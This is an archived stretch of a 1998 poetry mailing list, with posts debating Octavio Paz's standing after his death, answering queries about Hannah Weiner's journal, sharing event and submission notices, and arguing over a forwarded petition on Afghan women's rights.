Paz was also a sort of literary dictator in Mexico. His magazine Vuelta published the same writers over and over. An extremely powerful man.

His essays on modern poetry are worth reading, especially Children of the Mire. He can be somewhat facile at times, almost glib; yet even when he is glib he has more to say than many other writers at their most profound. His knowledge of modern poetry was both broad and deep. He knew cummings, Pound, French poetry, as well as Spanish language poetry.

There are very few of the original modernists of the 1920s and 1930s still alive now. Paz was a little younger (b. 1914) but lived much of this history beginning with the Spanish civil war.

His poetry often leaves me unimpressed; this may be just me, though I've found similar reactions among many other people I've known, many of them specialists in Latin American poetry. Can he be compared to Neruda, Vallejo, or Lezama Lima? I have my doubts. He often seems to be "willing" himself into avant-garde postures in a way that doesn't convince me totally (somewhat like Huidobro the generation before).

I feel an epoch has come to a close with his death.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

509. **Aldon Nielsen**
Re: Paz Dispenser
Tue 21 Apr 1998

My own feeling (underscore -- no time to back it up with actual thought, for god's sake) is that Paz can compare favorably with Neruda -- but I would agree that Lezama Lima and Vallejo are considerably more interesting (to me) -- here again, though, the circumstances of career affect (and effect) what we have of each poet to read --

Further on the "feuds" -- much of the battle was a proxy war, with Krause (sp?) advancing the Paz line against Fuentes et al -- it was ugly --

↑ Index

510. **k. lederer**
Re: Naropa info--
Tue 21 Apr 1998

Yes, Rachel...

I'd like to know about Naropa summer stuff...

Thanks,
Katy

↑ Index

511. **MAYHEW**
Paz dispenser
Tue 21 Apr 1998

You are right, Aldon, Paz can be compared to Neruda, in that Neruda wrote so much and of so variable a quality. He was a "gran poeta malo" as someone once called him. I was thinking of the Neruda of Residencia en la tierra, not of the various mediocre and awful Nerudas.

The feuds were ugly and often carried out by proxy, as you indicate. I have very little interest in them beyond their obvious interest as pure gossip.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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512. **Michael Magee**
movin' to providence - advice?
Tue 21 Apr 1998

Hi all, sorry for the personal note but I just found out recently that my wife & I are moving to Providence in June & I know there are a few Providence lurkers on the list - so, good used bookstores? bars, cafes, poetry-reading spots, jazz closer than Cambridge, other things a young man like meself should know about? Thanks for any helpful hints. -Mike.

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513. **r.drake**
Re: Homi Bhabha
Tue 21 Apr 1998

check: http://www.naropa.edu/sum97/swriting.htm

> *Also, would anyone be interested in me posting who will be at Naropa this summer (June 15-July 12) and when?*
>
> *best,*
> *RAchel D.*

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514. **Charles Bernstein**
Re: hannah weiner queries
Tue 21 Apr 1998

> *in weiner's Clairvoyant Journal, who is "Rhys?"*

This is Rhys Chatham, a friend of Hannah's, a composer/new music person, who was active around The Kitchen (NY) in the 70s, may have even have been the music director. Quick web search found
http://www.goddard.edu/wgdr/kalvos/chatham.html
http://www.trouserpress.com/bandpages/RHYS_CHATHAM.html

"charlemagne" This is (Brooklyn born) Charlemagne Palestine, a fabulous pianist/composer, also active in New York in the 70s, who I believe has stopped performing, and I think also stayed away from recordings of his work as well. He gave mesmerizing performnaces of work somewhat in the area of Young or Riley or Reich or Glass but more idiosyncratically expressive, more driven. He is also a visual artist and continues to show his work, mostly in Europe as far as I know. Found this item, a 1989 "interview"/phone call with Charlemaigne Palestine: http://home.cdsnet.net:80/~michaelm/death/ch_int.html It's quite interesting --

Both were quite well-known on the Downtown new music/performance scene of the mid-70s.

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515. **Schuchat Simon**
Re: hannah weiner queries
Tue 21 Apr 1998

I believe "rhys" is "Rhys Chatham" a musician active in NY in 70s 80s, played with Peter Gordon, the Lovely Music Orchestra, various others that used to perform at the Kitchen

not 100 percent sure though

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516. **William Burmeister Prod**
Re: Guerra y paz
Tue 21 Apr 1998

True Paz was never politically unengaged, but he did advise against the dangers of confusing poetry and ideology (as I meant) such as he accused Neruda and Louis Aragon of doing. This was the man who adopted Gide's saying "The writer must know how to swim against the tide." Paz was an individualist. For Paz, liberalism, positivism, and Marxism-Leninism were enthusiastically embraced by Latin America intellectuals as "abstract formulas" without being thoroughly reexamined "by and for Latin Americans." Paz the politically involved said that "we must cultivate and defend particularity, and irregularity--life. Human beings do not have a future in the collectivism of bureaucratic states or in the mass society created by capitalism." To be fair, it must also be remembered that Paz said the dangers attendant upon discord are irresponsible song OR silence.

It is unfavorable to compare Paz with Vallejo,and other innovators like him. And this is not because his poetry doesn't stand up to theirs, but rather because Paz and Vallejo came from vastly different backgrounds and took quite different approaches to the way they handled their spanish. Paz and Neruda at least shared a sense of clarity in their language, but Vallejo sought to destroy and then rebuild, or reinvent spanish in a way more reminiscent of Celan. Vallejo's poetry being like the "war machine" of Celan's (to borrow a phrase from Pierre Joris whose it is). Paz seemed more to parallel Machado and Guillen in their form and language. He didn't appear to try to be the incessant innovator type, at least not after the 50's. And rather than will himself into any particular avant-garde posture, he advanced the strong influence of Andre Breton and the surrealists, personal friends of his, as did Rene Char, another dear friend of his. Paz came to live a most enviable life of poetry in his many travels, associations and friendships with some of the most famous writing figures, poets, and philosophers of this century many of whom were the avant-garde of their day. He was witness to the literature and events of almost the entire 20th century. I just

think that many of the objections to Paz's poetry have stemmed from what was perhaps seen as a perpetuation of an already traditional spanish surrealism over and against a call for an overt populist poetry in his country and in Latin America. Then of course there was the critical backlash here too against a revised (and I believe improved) surrealism in the 60's and 70's.

Paz's poetry will be for Mexico as monolithic and timeless as he meant for it to be in a country of contradiction and influence.

William Burmeister

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517. Pam Brown
**overland* bits, call for submissions & launch*
Tue 21 Apr 1998

> **overland* has passed the 150 mark, and is celebrating.*
> ``//``''''''

OH AND from issue 151 we welcome on board Dean Kiley as Fiction Editor and Pam Brown as Poetry Editor.

CALLS:

*[1] We're wanting risky fiction, the SHORTS section ([redacted] words) is set up for you to play in and we'll soon have *overland extra!*, a web journal, as another innovative venue.*

[2] Looking for, before 30 November 1998,essays, poetry, fiction, graphics, comics or hybrid work dealing with issues around
(a) privacy, censorship and media control; or
(b) crime writing (all genres and modes, from detective thriller to tabloid reportage).

---

*LAUNCH: *overland* Issue 150 will be launched at*
Melbourne Trades Hall
9 May 1998 at 7.30 pm
with food and entertainment and
Big Wharfie Defence.
ALL WELCOME: waged $5; unwaged/student $4.

Queries: Ian Syson @ [redacted]

http://dingo.vut.edu.au/~arts/cals/overland/overland.html
*++++++

519. **Scott Keeney**
Re: Where are they now?
Tue 21 Apr 1998

On Tue, 14 Apr 1998 05:34:37 -0500 [redacted] writes:
>A poet whose work I liked quite a bit during the late 60s, early 70s,
>was Tom
>Veitch, a NYC school (gen 3) poet with a strong spiritual
>undercurrent. He was
>in SF for awhile around the early to mid-70s and then moved, up to
>Sonoma or
>beyond I think. Does anyone know what the man is up to these days?
>
>
>Ron Silliman
>

Just waded through the past few daysworth of messages, disappointed not to see an answer posted. Veitch's bio-part in Padgett/Shapiro _Anthology of NY Poets_ has got to be one of the all-time best contributor's notes, between the tongue-out-eyes-up pic and that "awaiting the painful emergence of god in his flesh" bit, well. (BTW, if anyone has a copy of that book they want to unload for a few hundred pennies, but probably not.) Anyway, anyone know if Sotere Torregian is still alive? & while I'm here, if he published anything after _The Wounded Mattress_, which I was surprised to see is still listed in Books in Print?

Scott

_____ You don't need to buy Internet access to use free Internet e-mail. Get completely free e-mail from Juno at http://www.juno.com Or call Juno at (800) 654-JUNO [[redacted]]

↑ Index

520. **Maria Damon**
Re: hannah weiner queries
Tue 21 Apr 1998

---

thanks to all who answered, like, thanks a lot.

At 7:34 PM -0400 4/21/98, Charles Bernstein wrote:
>>in weiner's Clairvoyant Journal, who is "Rhys?"
>
>This is Rhys Chatham, a friend of Hannah's, a composer/new music person,
>who was active around The Kitchen (NY) in the 70s, may have even have been

>the music director. Quick web search found
>http://www.goddard.edu/wgdr/kalvos/chatham.html
>http://www.trouserpress.com/bandpages/RHYS_CHATHAM.html
>
>"charlemagne"
>This is (Brooklyn born) Charlemagne Palestine, a fabulous pianist/composer,
>also active in New York in the 70s, who I believe has stopped performing,
>and I think also stayed away from recordings of his work as well. He gave
>mesmerizing performnaces of work somewhat in the area of Young or Riley or
>Reich or Glass but more idiosyncratically expressive, more driven. He is
>also a visual artist and continues to show his work, mostly in Europe as
>far as I know.
>Found this item, a 1989 "interview"/phone call with Charlemaigne Palestine:
>http://home.cdsnet.net:80/~michaelm/death/ch_int.html
>It's quite interesting --
>
>Both were quite well-known on the Downtown new music/performance scene of
>the mid-70s.

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521. **Aviva99999**
Re: Small Press Traffic webpage
Tue 21 Apr 1998

In a message dated 98-04-21 15:24:49 EDT, you write:

<<
 Thank you, thank you, to the unknown computer lab guy. I wish I had
 frames. There must be a lot of good stuff I'm missing because I don't. But
 that dude's right.
  >>
I have frames, but hey! you're not missing anything, to my way of thinking. I hate frames. I find them unnecessarily fussy, and a physically unpleasant way to view a web page. Too many small compartments -- no need for them -- would rather go to these "sections" or "compartments" via old-fashioned links.

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522. **morpheal**
Re: Guerra y paz
Tue 21 Apr 1998

>Human beings do not have a future in the collectivism of bureaucratic states or in the mass society created by capitalism." To be fair, it must also be remembered that Paz said the dangers attendant upon discord are irresponsible song OR silence.>

The die hard Marxists give a powerful push in the direction towards more and more amorphous and unindividuated mass society capitalism.

The die hard Capitalists give a powerful push in the direction towards more and more amorphous and unindividuated mass state collectivism.

Soon either everyone becomes dehumanized or something breaks....in the middle.

That was more obvious during the overt Cold War when two (to each other's points of view) evil empires faced off against one another. Not so obvious now when it is all mostly covert rather than overt.

So, in a way, Paz is not wrong. There is some truth to that, if that refers to the preservation of the individual, and of humanity as creative individuality rather than one or another kind of mass collectivization.

M.

↑ Index

523. **Karen Kelley**
Still seeking free web server
Tue 21 Apr 1998

Thanks to all for the Geocities responses. No go with them, though, as they won't allow me to list subscription information (I want to put up some material & point readers to the print mag). Does anyone know of a free service? Surely someone must provide this for the arts... And if the service doesn't include garish banners and pop up windows, all the better!

Karen

↑ Index

524. **Rachel Levitsky**
Re: Homi Bhabha/Naropa
Tue 21 Apr 1998

Thanks all of you who sent me the info. on Bhabha. Below I leave the Naropa webside that r.drake posted. I checked it out and it seems its all there. later, rdl.

Also for those of you in the area of Boulder:

May 14, 8:30 pm

Bobbie Louise Hawkins
Lindsay Hill
Laura Wright

The Left Hand Book Collective
1825 Pearl Street
Boulder CO 80302
[redacted]

r.drake wrote:
>
> check: http://www.naropa.edu/sum97/swriting.htm
>

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525. **henry**
Re: movin' to providence - advice?
Wed 22 Apr 1998

Dear Mike,

I don't get around much, but here are a few places:

used bks - Cellar Stories, downtown, is the biggest; Myopic Books, in Wayland Square has a good selection.

jazz: there's CAV, an interesting bar/restaurant/antique store/music venue, run by this eccentric grande dame poet-lady from Egypt named Sylvia Moubayed. There's Chan's, in Woonsocket, a half hour drive north, a huge Chinese restauarnt whose owner loves jazz & books big names. probably some other places. AS220 downtown is a kind of punk gallery dada poetry/art music place.

pick up a copy of the Providence NewPaper, a weekly - it covers most of what's going on & will give you a lot of info. You'll learn fast, RI is a small place but with a lot of layers. Enjoy!

- Henry G.

↑ Index

526. **henry g**
sorry shdv bkchnld
Wed 22 Apr 1998

---

sorry list, should have backchanneled to M. Magee. but while I'm at it, Mike, you might want to check the Providence website: www.providenceri.com

↑ Index

527. **MAYHEW**
Guerra y paz
Wed 22 Apr 1998

The phrase "war machine," attributed on this list to Pierre Joris, is also found in an essay by Monique Wittig collected in _The Straight Mind__. She compares Proust to a "Trojan horse." I know that Joris knows Wittig's work.

The clarifications about the differences between Paz and Vallejo, offered by Wm. Burmeister, are completely on the mark. I too understood him to be talking about Jorge Guillen, not Nicolas.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

528. **William Burmeister Prod**
Re: Guerra y paz
Wed 22 Apr 1998

On Apr 21, 5:54pm, Aldon Nielsen wrote:
> Subject: Re: Guerra y paz
> Guillen?
>
>
> i would guess that's Jorge, and not Nicolas?
>-- End of excerpt from Aldon Nielsen

I should've specified. Yes, Jorge of Cantico fame.

↑ Index

529. louis stroffolino
NYC APARTMENT SHARE POSSIBILITY
Wed 22 Apr 1998

For anybody moving to NYC, or thinking of moving IN NYC, there is an apartment share available starting June 1st in Brklyn. It's a "room with a view" in which one may have "a room of ones own"--or maybe even "two" (Not that one has to be a british modernist). Backchannel for more information..... Thanks, chris stroffolino

P.S.---the wfmu station is playing van morrison's
"it's all over now baby blue"--so nice to hear that
riff without beck's soulless overdubbing.....
c

↑ Index

530. Mark Prejsnar
Re: Where are they now?
Wed 22 Apr 1998

On Tue, 21 Apr 1998, Scott Keeney wrote:

> *Anyway, anyone know if Sotere Torregian is still alive? & while I'm here, if he published anything after _The Wounded Mattress_, which I was surprised to see is still listed in Books in Print?*
>
> *Scott*

I checked into Torregian recently for the first time, Scott...Almost certainly because someone dropped his name on the List. Anyway I encountered it somewhere...

My local library has The Wounded Mattress (which is 1970) and one other book:

The age of gold : poems.
New York : Kulcher Foundation, 1976.
128 p.

It would indeed be interesting to hear from someone on the list what background there is to tell, about Torregian. The books supply nothing about the poet; ....a total obsurity, to me, just a name I overheard somewhere. The two books are worth checking out, for an intriguing instance of surrealist poetry in the U.S.

Mark P.
@lanta

↑ Index

531. William Burmeister Prod
Re: Guerra y paz
Wed 22 Apr 1998

Thanks to Jonathan Mayhew for the "war machine" reference. The one time I heard the interesting phrase was when I was at the New Hampshire conference in aug '96. I had just met the gracious Susan Schultz and had mentioned my reading of _Breathturn_ to her when Pierre Joris suddenly turns up and takes a moment between panel discussions to talk about Celan and his translations vs Hamburger's. Out comes this phrase.

William Burmeister

↑ Index

532. William Burmeister Prod
Re: Where are they now?
Wed 22 Apr 1998

His name certainly sounds Armenian to me. For those interested, there is also (according to Amazon.com) a book called "Amtrak Trek: being poems and prose written cross-country from California to New York."

↑ Index

533. Annie Finch
New versification mailing list
Wed 22 Apr 1998

> *X-Confirm-reading-to: "Steven J. Willett"*
> *<[redacted]>*
> *X-PMrqc: 1*
> *Date: Fri, 17 Apr 1998 22:22:14 +0000*
> *From: "Steven J. Willett" <[redacted]>*
> *Subject: New versification mailing list*
> *To: Annie Finch <[redacted]>*
> *MIME-version: 1.0*
> *Priority: normal*
>
> *Dear Annie,*
>
> *I've started a new mailing list dedicated to prosody and versification. It is to replace the existing Prosody list, which is dedicated to the technical side of speech processing and analysis. If you'd like to subscribe, send the command "subscribe" (not case sensitive but be sure to omit the quotes) in the subject line, not*

in the message body, to

[redacted]

Be sure to send it in the subject line, since the list serve software I'm using reads commands from there, not the message body.

Following is the original message I sent Prosody about the new list.

Yours,

Steve

Dear Prosody List,

I am happy to announce the start of a new mailing list dedicated to literary prosody and versification. The list is called Versification, and should answer to the needs of those who are not interested in speech processing or other highly specialized, nonpoetic areas of linguistics.

Over the past five years, it's become clear that the split between speech processing linguists and all others interested in poetry, poetics, versification, metrics and literary prosody is too broad to bridge. The rash of departures the past week testifies to that quite understandable fact. It is also clear that the list is, for long stretches--sometimes months in length--quite moribund. Since the list was not originally founded for literary prosody, the time is now ripe for a new list to serve those with literary interests.

The list will be operated from the same server that publishes the Versification web page, and will utilize the SVList3.0 software system for list maintenance. All the normal mailing list functions found in listproc, listserv and majordomo are available with SVList3.0.

"subscribe" (which is NOT case sensitive, but be sure to omit the quotation marks) in the SUBJECT LINE of an email to

[redacted]

Unlike some other list processing software, you need not send anything in the message body of the email. If you include your name or other information in the message body, the server will ignore it. On validation of your email address, the server will forward a welcome message with a list of of server commands. Please note: the command "subscribe" (in any combination of upper and lower case

> *letters but without quotes) must be sent in the SUBJECT LINE and not in the message body of your email. That's all there is to it.*
>
> *To start the ball rolling, I would like to propose two innocuous topics:*
>
> *(1) What are the ten most important books of prosody published this century without regard to language, and why?*
>
> *(2) What are the most pressing tasks now facing prosody if we are to make it an accepted part of formal literary studies? Conversely, ought we try to make prosody an accepted part of formal literary studies?*
>
> *If you have any questions or problems with subscribing, please feel free to write me.*
>
> *Steven J. Willett*
> *Versification list owner*
>
> *==========*
> *Steven J. Willett*
> *University of Shizuoka, Hamamatsu Campus*
> *Voice: [redacted], Fax: (053) 4555*
> *Japan email: [redacted]*
> *US email: [redacted]*

Annie Finch
http://muohio.edu/~finchar
Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

↑ Index

534. Christopher W. Alexander
Afghanistan
Wed 22 Apr 1998

this pertains to the tacit issue of womens' rights in the current negotiations in Afghanistan; I'm sure it has something to do with poetry.

please read the following and if you are in agreement, 'help' President Clinton do right by mailing a copy of this message to <[redacted]>.

All of these facts are taken from the current iss. of Women Leaders Online (WOC Alert - 4/23/98), a free e-newsletter pertaining to u.s. and internat'l womens' issues. for more information, visit their www site @ <http://wlo.org>.

thanks, chris

------- Forwarded Message Follows -------

Mr. President - the Afghanistan peace effort spearheaded by U.S. Ambassador to the U.N. Bill Richardson is welcome news, and the success of that mission would be cause for joy. However, I'm greatly concerned that the rights of Afghanistani women be addressed at the negotiating table, and I'm not sure that's happening now. As you may know, women in the regions of Afghanistan under Taliban control are:

* banned from working outside the home;
* banned from attending university;
* banned from going to school;
* prohibited from leaving their homes unless accompanied by a husband, father, brother, or son;
* required when leaving their homes to be covered from head to toe in a 'burqa,' with only a mesh opening to see and breathe through;
* banned from wearing shoes that make noise;

in addition,

* homes with women are required to paint their windows opaque so the women inside cannot be seen.

Such conditions are tantamount to a life in solitary confinement, comparable to the worst of prison conditions here in the U.S. The penalty for defying any of these commands is stoning and death.

As a citizen of the United States, represented in these peace talks by Ambassador Richardson, I insist these issues be addressed. It is imperative that Ambassador Richardson bring a non-negotiable initiative for womens' rights to these talks.

thank you,

[*** YOUR SIGNATURE HERE ***]

P.S., more information on the situation of women in Afghanistan is available at the Feminist Majority's website http://www.feminist.org

↑ Index

535. **David Zauhar**
Fw: lyotard's death (fwd)
Wed 22 Apr 1998

-----Original Message-----
From: [redacted] <[redacted]>
To: [redacted]
<[redacted]>
Date: Tuesday, April 21, 1998 2:51 PM
Subject: lyotard's death

> *Jean-Franois Lyotard, auteur de "La condition postmoderne", est mort dans la nuit de lundi mardi l'ge de 73 ans des suites d'une longue maladie, a annonc sa famille. N en 1924 Versailles, il avait milit au sein du groupe Socialisme ou Barbarie au ct de Cornlius Castoriadis et Claude Lefort jusqu'en 1966. Il tait l'auteur de "Discours, Figure" (1971), "Economie libidinale" (1974), "la condition postmoderne" (1979), "Le diffrend" (1984).*
> *--*
> *N. B. - La Republique des Lettres*
> *Site Web : http://perso.wanadoo.fr/republique.des.lettres/*

↑ Index

536. **Elizabeth Hatmaker**
Re: Where are they now?
Wed 22 Apr 1998

According to my Armenian connections, Sotere Torregian is alive (is in his sixties) and lives in the Philadelphia area.

--Elizabeth Hatmaker

↑ Index

537. **Gwyn McVay**
Re: Where are they now?
Wed 22 Apr 1998

> *obsurity,*

I like this word and am going to muse it to mean "obscure absurdity" in the sense that it is absurd that a given poet should be so obscure...

Gwyn "I'm both" McVay

↑ Index

538. BETSY ANDREWS
Re: NYC APARTMENT SHARE POSSIBILITY
Wed 22 Apr 1998

Hey, Chris. We met at Cary Nation with Rachel, remember? Tell me more about the apt. I've got a friend who's coming back here in June from SF...

betsy
([redacted])

> From: louis stroffolino <[redacted]>
> To: [redacted]
> Subject: NYC APARTMENT SHARE POSSIBILITY
> Date: Wednesday, April 22, 1998 10:32 AM
>
> For anybody moving to NYC, or thinking of moving IN NYC,
> there is an apartment share available starting June 1st in Brklyn.
> It's a "room with a view" in which one may have "a room of ones
> own"--or maybe even "two" (Not that one has to be a british
> modernist). Backchannel for more information.....
> Thanks, chris stroffolino
>
> P.S.---the wfmu station is playing van morrison's
> "it's all over now baby blue"--so nice to hear that
> riff without beck's soulless overdubbing.....
> c

↑ Index

539. BETSY ANDREWS
Re: Where are they now?
Wed 22 Apr 1998

Yo, Gwyn. What's up?

bets([redacted])

> From: Gwyn McVay <[redacted]>
> To: [redacted]
> Subject: Re: Where are they now?
> Date: Wednesday, April 22, 1998 1:40 PM
>
> >>>obsurity,
>

> I like this word and am going to muse it to mean "obscure absurdity" in
> the sense that it is absurd that a given poet should be so obscure...
>
>
> Gwyn "I'm both" McVay

↑ Index

540. **Thomas Bell**
Re: the "audience" . . ./
Wed 22 Apr 1998

Saved this until the info i was seeking surfaced inmy bookpile. I think your reply about 'reading' is worth expanding on, particularly in re visual poetry. When I am 'reading' a visual poem i am 'reading' a painting and my response is a kinetic body response as well as visual. Does someone who sees a visual poem out there without a body response really read it or is it just seen. might explain some peoples' less than enthusiastic responses to vispo?

info i whose surfacing i was awaiting is 2 books _Voice_ by David Appelbaum and _Reclaiming the Tacit Dimension_ by George Kalamaras, both of which have some interesting things to offer about noncognitive poetic processes. "Voicing existence is directed, not to the Cartesian ego, but to the membrane capable of perceiving existence; the propriceptive film upon which human conscious is based." - Appelbaum tom bell

At 09:07 AM 3/10/98 +0000, Miekal And wrote:
>Nuyopoman wrote:
>
>
>> A poem is not written until you read it.
>
>
>so what of all those visual poems which defy reading/performance, the
>ones that the "audience" absorbs thru internal & often non-cognitive
>processes. for instance, clemente padin's signographics, when I spend
>time with it, there is a "reading" involved, but for me its the semiotic
>gestures I cue on, & the reading of it would be similar to "reading" a
>rothko painting which seems to me separate from the mouth & its
>spectacular affections.
>
>

↑ Index

541. **morpheal**
Re: Afghanistan
Wed 22 Apr 1998

> *this pertains to the tacit issue of womens' rights in the current negotiations in Afghanistan; I'm sure it has something to do with poetry.*
>
> *However, I'm greatly concerned that the rights of Afghanistani women be addressed at the negotiating table, and I'm not sure that's happening now. As you may know, women in the regions of Afghanistan under Taliban control are:*
>
> ** banned from working outside the home;*
> ** banned from attending university;*
> ** banned from going to school;*
> ** prohibited from leaving their homes unless accompanied by a husband, father, brother, or son;*
> ** required when leaving their homes to be covered from head to toe in a 'burqa,' with only a mesh opening to see and breathe through;*
> ** banned from wearing shoes that make noise;*
>
> *in addition,*
>
> ** homes with women are required to paint their windows opaque so the women inside cannot be seen.*
>
> *Such conditions are tantamount to a life in solitary confinement, comparable to the worst of prison conditions here in the U.S. The penalty for defying any of these commands is stoning and death.*

FIRST OF ALL - so there are no wrong interpretations - I AGREE that that is horrible. That ought not to happen to human beings. However.....

That is actually indicative of Islamic fundamentalism.

You must realize that Islamic fundamentalists argue that such women choose freely, and consider themselves liberated by the tradition. Not only that, but they typically say if asked why they do it that they do it because they _like_ it.

The latter creates a terribly thorny problem in speaking for persons who themselves argue that they are choosing something that they themselves want to choose. While I agree with the sentiments, from a Western and modern North American standpoint, it is abhorrent, horrible, unthinkable that people would live in that manner, or be forced to conform to those kinds of standards, I am still perplexed as to how we, as foreigners, can in fact speak for a different culture ? Any ideas as to that ? It is a different culture. It has different values. Values _we_ do not agree with and would fight to the death to keep from being imposed on _us_, but they would fight to the death to have those values, as

different as they are from our's. So, what do we do ? How do we reconcile our concepts of freedom with the their claiming that their differences from us are their expressions of freedom ? Big problem.

Do we in fact have a petition or some other claim by Afghanistani people alleging oppression and asking for foreign assistance to liberate them from that oppression ? Is there a request before the UN from a significant portion of the peoples of Afghanistan asking for intervention and liberation ?

Bigger problem if there is not.

Of course, I was one of the few who felt that the Soviet action in Afghanistan, as an attempt to prevent Islamic takeover of the region was justified, and that it is a tragedy that it became their Vietnam, rather than a victory for human rights and freedoms. Sadly the United States sided with the anti Soviet mostly Islamic rebels and so here we are today....asking the United States government to reverse its previous intentions and oppose the regime it helped put into power, even if covertly, in its supply of weapons to that regime against the Soviet army during the Afghan war ?

That too seems strange....

I have this odd feeling that world politics has become more and more of a "here we go round the mulberry bush, the mulberry bush...."

M.

↑ Index

542. **Alan Myouka Sondheim**
for Aram Saroyan from Nikuko Daishin
Wed 22 Apr 1998

-

fulllly skin

↑ Index

543. **Aviva99999**
Fwd: Amazon.com Books
Wed 22 Apr 1998

This is a multi-part message in MIME format.

--part0_893292938_boundary

In a message dated 98-04-22 14:54:00 EDT, [redacted] writes:

<< Subj: Amazon.com Books
Date: 98-04-22 14:54:00 EDT
From: [redacted]
To: [redacted] (Aviva99999)

Greetings!

We receive regular electronic updates to our online catalog from a variety of different sources including distributors, publishers, and independents. Many of these sources make this information available to retailers across the country. It is likely we obtained information on many of small press titles from one or more of these sources.

Please know that we in the catalog department are always trying to improve the quality of our catalogs listings. We work with many small presses each day. We actively help them add books to our catalog, update existing listings, and add descriptive materials.

If you have any additional questions or concerns please do not hesitate to contact us. Thanks for your interest in Amazon.com!

Best Regards,

Hannah Burke >>

--part0_893292938_boundary

air09.mail.aol.com (vx) with SMTP; Wed, 22 Apr 1998 14:54:00 -0400
by relay21.mx.aol.com (8.8.5/8.8.5/AOL-4.0.0)
with ESMTP id OAA00859 for <[redacted]>;
Wed, 22 Apr 1998 14:53:57 -0400 (EDT)
From: [redacted]
by amazon.com (8.8.5/8.8.5) with ESMTP id LAA31523
for <[redacted]>; Wed, 22 Apr 1998 11:53:57 -0700 (PDT)
(PDT)
LAA31680; Wed, 22 Apr 1998 11:29:54 -0700 (PDT)
Date: Wed, 22 Apr 1998 11:29:54 -0700 (PDT)
[redacted] using -f
To: Aviva99999 <[redacted]>
Subject: Amazon.com Books
from-address: [redacted]

Greetings!

We receive regular electronic updates to our online catalog from a variety of different sources including distributors, publishers, and independents. Many of these sources make this information available to retailers across the country. It

is likely we obtained information on many of small press titles from one or more of these sources.

Please know that we in the catalog department are always trying to improve the quality of our catalogs listings. We work with many small presses each day. We actively help them add books to our catalog, update existing listings, and add descriptive materials.

If you have any additional questions or concerns please do not hesitate to contact us. Thanks for your interest in Amazon.com!

Best Regards,

Hannah Burke
Catalog Department
Amazon.com Books
http://www.amazon.com

>X-Mailer: AOL 3.0 for Windows 95 sub 64
>Subject: small press listings may be wrong?!?
>To: [redacted]
>Date: Fri, 17 Apr 1998 19:31:42 EDT
>From: Aviva99999 <[redacted]>
>
>I have some concerns about the following post I found online. I order (or try
>to order) quite a few books which are published by small presses, and I have
>been disappointed often by the dread "out of print." However, I assumed the
>information was accurate. Now, I'm not so sure. Is there any efficient way
>for amazon.com to check the accuracy of their database, perhaps by contacting
>small presses with a letter advising them to check their booklistings'
>accuracy on amazon.com's database? I mean, it would be in the presses' best
>interests to be proactive. It would be in amazon.com's best interests to be
>proactive as well.
>
>EXCERPT:
>
>Could this have anything to do with amazon.com getting information about
>lots of small press books that those books were "out of print." Someone

>alerted me that a Chax book listed with Amazon had that "out of print"
>status according to amazon, when in fact it was most definitely in print. I
>checked, and they had virtually all Chax books as out of print, which was
>false. [This has been corrected by amazon.com]
>
>Others have told me that other small press books
>with Amazon are falsely listed as out of print.
>
>Chax started receiving a few orders from amazon.com
>whereas before that we had received no such orders from them.
>
>

--part0_893292938_boundary--

↑ Index

544. k. lederer
Re: Afghanistan
Wed 22 Apr 1998

Morpheal,

It seems to me that there is a big difference between the
exercise of religious rights and freedoms... and being stoned to death for
not practicing them!

How can you say that these people (women) "like" it? If they liked it so much, then why would the prohibitions need to be backed up by such horrible sanctions?

Katy

↑ Index

545. Margie Cronin
*Re: *overland* bits, call for submissions & launch*
Wed 22 Apr 1998

---

dear pam,
hi! margie cronin here. just a query: overland accepted a couple of my
poems last year some time. may i just check if they're still using them (or
have already) as i'm getting an acknowledgments page ready for a book and
hadn't heard from overland in a while. thanks
margie cronin
ps. i publish under mtc cronin

At 11:54 22/04/98 +1100, you wrote:
>>*overland* has passed the 150 mark, and is celebrating.
>>``//``''''''

>>
>>[2] Looking for, before 30 November 1998,essays, poetry, fiction,
>>graphics, comics or hybrid work dealing with issues around
>> (a) privacy, censorship and media control; or
>> (b) crime writing (all genres and modes, from detective
>> thriller to tabloid reportage).
>>_____
>>
>>LAUNCH: *overland* Issue 150 will be launched at
>> Melbourne Trades Hall
>> 9 May 1998 at 7.30 pm
>> with food and entertainment and
>> Big Wharfie Defence.
>> ALL WELCOME: waged $5; unwaged/student $4.
>>
>>
>>Queries: Ian Syson @ [redacted]
>>
>>http://dingo.vut.edu.au/~arts/cals/overland/overland.html
>>++++++

> From: [redacted]
> To: [redacted] (Aviva99999)
>
>
> Greetings!
>
> We receive regular electronic updates to our online catalog from a
> variety of different sources including distributors, publishers, and
> independents. Many of these sources make this information available to
> retailers across the country. It is likely we obtained information on
> many of small press titles from one or more of these sources.
>
> Please know that we in the catalog department are always trying to
> improve the quality of our catalogs listings. We work with many small
> presses each day. We actively help them add books to our catalog, update
> existing listings, and add descriptive materials.
>
> If you have any additional questions or concerns please do not
> hesitate to contact us. Thanks for your interest in Amazon.com!
>
>
> Best Regards,
>
> Hannah Burke >>
>
>Content-ID: <[redacted]_out.mail.aol.com.2>
>Content-type: message/rfc822
>Content-transfer-encoding: 7bit
>Content-disposition: inline
>
>Return-Path: <[redacted]>
>Received: from relay21.mx.aol.com (relay21.mail.aol.com [172.31.106.67]) by
> air09.mail.aol.com (vx) with SMTP; Wed, 22 Apr 1998 14:54:00 -0400
>Received: from amazon.com (154-31.amazon.com [204.177.154.31])
> by relay21.mx.aol.com (8.8.5/8.8.5/AOL-4.0.0)
> with ESMTP id OAA00859 for <[redacted]>;
> Wed, 22 Apr 1998 14:53:57 -0400 (EDT)
>From: [redacted]
>Received: from zephyr.amazon.com (zephyr.amazon.com [204.177.154.23])
> by amazon.com (8.8.5/8.8.5) with ESMTP id LAA31523
> for <[redacted]>; Wed, 22 Apr 1998 11:53:57 -0700 (PDT)
>Received: by zephyr.amazon.com id LAA27705; Wed, 22 Apr 1998 11:53:55

-0700
> (PDT)
>Received: (from [redacted]) by barracuda.amazon.com (8.8.5/8.7.3) id
> LAA31680; Wed, 22 Apr 1998 11:29:54 -0700 (PDT)
>Date: Wed, 22 Apr 1998 11:29:54 -0700 (PDT)
>Message-Id: <[redacted]>
>X-Authentication-Warning: barracuda.amazon.com: hburke set sender to
> [redacted] using -f
>To: Aviva99999 <[redacted]>
>Subject: Amazon.com Books
>from-address: [redacted]
>Mime-Version: 1.0
>Content-type: text/plain; charset=US-ASCII
